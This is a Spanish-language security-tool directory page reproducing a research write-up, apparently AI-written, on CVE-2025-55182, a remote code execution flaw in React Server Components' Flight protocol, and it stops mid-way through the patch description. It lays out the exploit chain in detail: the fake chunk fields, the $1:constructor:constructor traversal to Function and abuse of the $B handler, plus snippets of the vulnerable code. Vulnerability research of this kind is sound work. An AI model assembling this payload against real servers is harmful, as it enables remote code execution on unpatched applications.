Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182-research — Prueba de concepto técnica y análisis profundo de CVE-2025-55182, una vulnerabilidad crítica de RCE en el Protocolo Flight de React mediante path traversal, inyección de chunks falsos y abuso del manejador $B. | Kitploit
Herramientas/GitHubGitHub/ejpir/cve-2025-55182-research
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebEvasión de WAFPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads
GitHub
ejpir/cve-2025-55182-research

CVE-2025-55182-research

Prueba de concepto técnica y análisis profundo de CVE-2025-55182, una vulnerabilidad crítica de RCE en el Protocolo Flight de React mediante path traversal, inyección de chunks falsos y abuso del manejador $B.

Ver Repositorio
79520227hace 9 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 - RCE en React Server Components

NOTA: Escrito por IA/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 es una vulnerabilidad crítica de RCE en el Flight Protocol de React. La cadena de ataque combina path traversal + inyección de chunk falso + abuso del handler $B para ejecutar Function(código_atacante).

Muchas gracias a maple3142 por la cadena de explotación funcional.


El Exploit

Resumen del ataque

El exploit utiliza tres campos de formulario para construir un payload malicioso:

  1. Crea un objeto chunk falso con un then auto-referencial (campo 1 $@0 → campo 0)
  2. Incrusta un _response falso con _formData.get establecido a $1:constructor:constructor
  3. Desencadena el handler $B que llama a response._formData.get(response._prefix + id)
  4. Path traversal resuelve _formData.get → Function, ejecutando Function(código)

Flujo de explotación```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

### Componentes Clave

| Componente | Propósito |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable autorreferencial; el chunk 1 (`$@0`) apunta de vuelta al chunk 0 |
| `status: "resolved_model"` | Hace que el objeto parezca un chunk válido de React |
| `reason: -1` | Establece rootReference en undefined (evita conflictos de referencia) |
| `value: '{"then":"$B1337"}'` | Carga anidada que activa el controlador `$B` |
| `_response._prefix` | Contiene la cadena de código RCE |
| `_response._chunks: "$Q2"` | Map vacío para prevenir fallos durante el procesamiento de chunks |
| `_response._formData.get` | Apunta a `Function` a través de `$1:constructor:constructor` |

### Inmersión en Componentes

#### Estructura del Campo de Formulario

El exploit utiliza tres campos de formulario con referencias circulares:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    ← references back to field 0
Field 2: []       ← empty array for _chunks Map

Thenable Auto-Referencial (then)

El then: "$1:__proto__:then" crea una auto-referencia que se resuelve a una función real:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

**Por qué esto es crítico:**

1. `then` resuelve a `Chunk.prototype.then` - una función invocable real
2. Esto hace que el objeto falso sea un thenable válido
3. Cuando se espera, JS llama a `obj.then(resolve, reject)`
4. `Chunk.prototype.then` se ejecuta con el objeto falso como `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" ✓
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!
  1. initializeModelChunk(this) usa this._response - el _response falso del atacante:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
**Sin la autorreferencia**, el falso `_response` nunca se usaría. La autorreferencia hace que `Chunk.prototype.then` trate el objeto del atacante como un Chunk real.

#### Disparador Thenable de Dos Etapas (`value`)

El campo `value` contiene una cadena JSON anidada con otro thenable:```json
{"then":"$B1337"}

Stage 1: El then autorreferencial del objeto externo desencadena el procesamiento de fragmentos

Stage 2: Cuando React resuelve el modelo, analiza value y encuentra otro thenable con then: "$B1337". El prefijo $B desencadena el manejador:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

`_formData.get` es `"$1:constructor:constructor"` → `getOutlinedModel()` se resuelve a `Function`.

Esto se convierte en: `Function(code + "1337")` → JS válido porque `1337` es solo una expresión final.

#### Relleno defensivo (`_chunks`)

El `_response` falso necesita una propiedad `_chunks` válida para evitar fallos:```
Form field "2": []           ← empty array
_chunks: "$Q2"               ← $Q = Map type, creates new Map([])

El código interno de React puede acceder a response._chunks.get() o response._chunks.has() durante el procesamiento. Un Map vacío satisface estas llamadas sin errores, permitiendo que la ejecución llegue al manipulador vulnerable $B.


Rutas de Código Vulnerables

RutaFunciónPropósito en el Exploit
Recorrido de RutagetOutlinedModel()Resuelve $1:constructor:constructor → Function
Inyección falsa de _responseinitializeModelChunk()Usa el chunk._response del atacante
Manipulador $BparseModelString()Llama a _formData.get(_prefix + id) → RCE

decodeReply() es el punto de entrada, no vulnerable en sí mismo.

Recorrido de Ruta (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

**Uso de Respuesta Falsa** (`initializeModelChunk()`):```javascript
value = reviveModel(
  chunk._response,  // Uses chunk._response directly!
  { "": rawModel },
  ...
);

$B Manejador RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

## La solución (19.2.1)

El parche incluye múltiples correcciones:

1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - Corrección crítica   ```javascript
   // BEFORE: chunk._response (attacker can set via JSON)
   value = reviveModel(chunk._response, ...);
Descargar herramienta